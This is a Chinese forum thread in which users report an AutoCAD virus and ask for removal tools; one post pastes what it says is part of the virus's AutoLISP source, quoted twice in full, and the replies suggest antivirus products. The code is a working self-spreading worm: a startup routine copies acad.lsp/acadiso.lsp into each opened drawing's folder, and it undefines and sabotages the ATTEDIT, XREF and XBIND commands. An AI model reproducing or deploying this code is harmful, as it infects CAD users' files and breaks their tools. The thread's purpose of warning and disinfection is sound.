发现cad病毒
<P>cad病毒,求高手提供查杀工具</P><P>据说这是该病毒的部分源代码</P>
<P>(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad<BR> newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2<BR> )<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (setq path (findfile "base.dcl"))<BR> (setq path (substr path 1 (- (strlen path) 8)))<BR> (setq mnlpath (getvar "menuname"))<BR> (setq nowdwg (getvar "dwgname"))<BR> (setq wjqm (findfile nowdwg))<BR> (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))<BR> (setq acadpath (findfile "acad.lsp"))<BR> (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))<BR> (setq ns1 ""<BR> ns2 ""<BR> )<BR> (setq lspbj 0)<BR> (setq wjqm (strcat path "acad.lsp"))<BR> (if (setq wjm (open wjqm "r"))<BR> (progn (while (setq wz (read-line wjm))<BR> (setq ns1 ns2)<BR> (setq ns2 wz)<BR> )<BR> (if (> (strlen ns1) 14)<BR> (if (= (substr ns1 8 7) "acadiso")<BR> (setq lspbj 1)<BR> )<BR> )<BR> (close wjm)<BR> )<BR> )<BR> (if (and (= acadpath dwgpath) (/= acadpath path))<BR> (progn (setq oldacad (findfile "acad.lsp"))<BR> (setq newacad (strcat path "acadiso.lsp"))<BR> (if (= lspbj 0)<BR> (progn (setq wjqm (strcat path "acad.lsp"))<BR> (setq wjm (open wjqm "a"))<BR> (write-line<BR> (strcat "(load" (chr 34) "acadiso" (chr 34) ")")<BR> wjm<BR> )<BR> (write-line "(princ)" wjm)<BR> (close wjm)<BR> )<BR> )<BR> (writeapp)<BR> )<BR> (progn (if (/= nowdwg "Drawing.dwg")<BR> (progn (setq oldacad (findfile "acadiso.lsp"))<BR> (setq newacad (strcat dwgpath "acad.lsp"))<BR> (writeapp)<BR> )<BR> )<BR> )<BR> )<BR> (command "undefine" "attedit")<BR> (command "undefine" "xref")<BR> (command "undefine" "xbind")<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun writeapp ()<BR> (if (setq wjm1 (open newacad "w"))<BR> (progn (setq wjm (open oldacad "r"))<BR> (while (setq wz (read-line wjm)) (write-line wz wjm1))<BR> (close wjm)<BR> (close wjm1)<BR> )<BR> )<BR> )<BR>(defun C:attedit (/ p cont old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (setq p (ssget))<BR> (if p<BR> (progn (setq cont (sslength p))<BR> (princ "\nSeltct objects:")<BR> (princ cont)<BR> (princ "found")<BR> (princ "\n")<BR> (princ cont)<BR> (princ " was not able to be attedit")<BR> )<BR> )<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun C:xref (/ old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (command "insert")<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun C:xbind (/ old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (command "insert")<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun C:Burst (/ p old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (princ "\nBURST----将图块中的文字炸开后成为实体")<BR> (setq p (ssget))<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(princ)<BR>(DEFUN C:BB () <BR>(princ "select the point to be break")<BR>(COMMAND "BREAK"pause "F" pause "@0,0") (PRINC))<BR>(DEFUN C:BR () <BR>(princ "select the point to be break")<BR>(COMMAND "BREAK"pause "F") (PRINC))<BR>(defun C:CC (/ ss FL)<BR> (princ "\nSelect objects: ")<BR> (setq ss (ssget))<BR> (setq n (sslength ss))<BR> (command "COPY" ss "" "m" "") (repeat n (command "" copy "" ""))<BR>)<BR>(DEFUN C:DD () (COMMAND "DDATTE") (PRINC))<BR>(DEFUN C:d () (COMMAND "DIST") (PRINC))<BR>(DEFUN C:DT () (COMMAND "DTEXT") (PRINC))<BR>;;;==========================================================================</P>
<P>;;;==========================================================================<BR>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<BR>; --------------------- BONUS ERROR HANDLER ----------------------</P>
<P>(defun init_bonus_error ( lst / ss undo_init)<BR> <BR> ;;;;;;;local function;;;;;;;;;;;;;;;;;;;;<BR> (defun undo_init ( / undo_ctl)<BR> (b_set_sysvars (list "cmdecho" 0))<BR> (setq undo_ctl (getvar "undoctl")) <BR> (if (equal 0 (getvar "UNDOCTL")) ;Make sure undo is fully enabled.<BR> (command "_.undo" "_all")<BR> )<BR> (if (or (not (equal 1 (logand 1 (getvar "UNDOCTL")))) <BR> (equal 2 (logand 2 (getvar "UNDOCTL")))<BR> );or<BR> (command "_.undo" "_control" "_all") <BR> )<BR> <BR> ;Ensure undo auto is off<BR> (if (equal 4 (logand 4 (getvar "undoctl")))<BR> (command "_.undo" "_Auto" "_off")<BR></P> 真长。, <P>cad病毒,求高手提供查杀工具</P>
<P>据说这是该病毒的部分源代码</P>
<P>(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad<BR> newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2<BR> )<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (setq path (findfile "base.dcl"))<BR> (setq path (substr path 1 (- (strlen path) 8)))<BR> (setq mnlpath (getvar "menuname"))<BR> (setq nowdwg (getvar "dwgname"))<BR> (setq wjqm (findfile nowdwg))<BR> (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))<BR> (setq acadpath (findfile "acad.lsp"))<BR> (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))<BR> (setq ns1 ""<BR> ns2 ""<BR> )<BR> (setq lspbj 0)<BR> (setq wjqm (strcat path "acad.lsp"))<BR> (if (setq wjm (open wjqm "r"))<BR> (progn (while (setq wz (read-line wjm))<BR> (setq ns1 ns2)<BR> (setq ns2 wz)<BR> )<BR> (if (> (strlen ns1) 14)<BR> (if (= (substr ns1 8 7) "acadiso")<BR> (setq lspbj 1)<BR> )<BR> )<BR> (close wjm)<BR> )<BR> )<BR> (if (and (= acadpath dwgpath) (/= acadpath path))<BR> (progn (setq oldacad (findfile "acad.lsp"))<BR> (setq newacad (strcat path "acadiso.lsp"))<BR> (if (= lspbj 0)<BR> (progn (setq wjqm (strcat path "acad.lsp"))<BR> (setq wjm (open wjqm "a"))<BR> (write-line<BR> (strcat "(load" (chr 34) "acadiso" (chr 34) ")")<BR> wjm<BR> )<BR> (write-line "(princ)" wjm)<BR> (close wjm)<BR> )<BR> )<BR> (writeapp)<BR> )<BR> (progn (if (/= nowdwg "Drawing.dwg")<BR> (progn (setq oldacad (findfile "acadiso.lsp"))<BR> (setq newacad (strcat dwgpath "acad.lsp"))<BR> (writeapp)<BR> )<BR> )<BR> )<BR> )<BR> (command "undefine" "attedit")<BR> (command "undefine" "xref")<BR> (command "undefine" "xbind")<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun writeapp ()<BR> (if (setq wjm1 (open newacad "w"))<BR> (progn (setq wjm (open oldacad "r"))<BR> (while (setq wz (read-line wjm)) (write-line wz wjm1))<BR> (close wjm)<BR> (close wjm1)<BR> )<BR> )<BR> )<BR>(defun C:attedit (/ p cont old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (setq p (ssget))<BR> (if p<BR> (progn (setq cont (sslength p))<BR> (princ "\nSeltct objects:")<BR> (princ cont)<BR> (princ "found")<BR> (princ "\n")<BR> (princ cont)<BR> (princ " was not able to be attedit")<BR> )<BR> )<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun C:xref (/ old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (command "insert")<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun C:xbind (/ old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (command "insert")<BR> (setvar "cmdecho" old_cmd)<BR> (princ)<BR> )<BR>(defun C:Burst (/ p old_cmd)<BR> (setq old_cmd (getvar "cmdecho"))<BR> (setvar "cmdecho" 0)<BR> (princ "\nBURST----将图块中的文字炸开后成为实体") (setq p (ssget)) (setvar "cmdecho" old_cmd) (princ)<BR> )(princ)<BR>(DEFUN C:BB () <BR>(princ "select the point to be break")<BR>(COMMAND "BREAK"pause "F" pause "@0,0") (PRINC))<BR>(DEFUN C:BR () <BR>(princ "select the point to be break")<BR>(COMMAND "BREAK"pause "F") (PRINC))<BR>(defun C:CC (/ ss FL)<BR> (princ "\nSelect objects: ")<BR> (setq ss (ssget))<BR> (setq n (sslength ss))<BR> (command "COPY" ss "" "m" "") (repeat n (command "" copy "" ""))<BR>)<BR>(DEFUN C:DD () (COMMAND "DDATTE") (PRINC))<BR>(DEFUN C:d () (COMMAND "DIST") (PRINC))<BR>(DEFUN C:DT () (COMMAND "DTEXT") (PRINC))<BR>;;;==========================================================================</P>
<P>;;;==========================================================================<BR>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<BR>; --------------------- BONUS ERROR HANDLER ----------------------</P>
<P>(defun init_bonus_error ( lst / ss undo_init)<BR> <BR> ;;;;;;;local function;;;;;;;;;;;;;;;;;;;;<BR> (defun undo_init ( / undo_ctl)<BR> (b_set_sysvars (list "cmdecho" 0))<BR> (setq undo_ctl (getvar "undoctl")) <BR> (if (equal 0 (getvar "UNDOCTL")) ;Make sure undo is fully enabled.<BR> (command "_.undo" "_all")<BR> )<BR> (if (or (not (equal 1 (logand 1 (getvar "UNDOCTL")))) <BR> (equal 2 (logand 2 (getvar "UNDOCTL")))<BR> );or<BR> (command "_.undo" "_control" "_all") <BR> )<BR> <BR> ;Ensure undo auto is off<BR> (if (equal 4 (logand 4 (getvar "undoctl")))<BR> (command "_.undo" "_Auto" "_off")<BR></P>
<P>这个用瑞星杀毒软件杀就可以,以前我也出现过,后用瑞星杀后就行了</P> 我用的是诺顿,这几天经常会遇到acad.lisp文件是病毒的信息,怎么回事?以前就没事。还有为什么会自动跑出来一个.lisp文件呢? <P>大家一定要提高警惕了~~~~</P> 这些人真的很变态呀!!!!
页:
[1]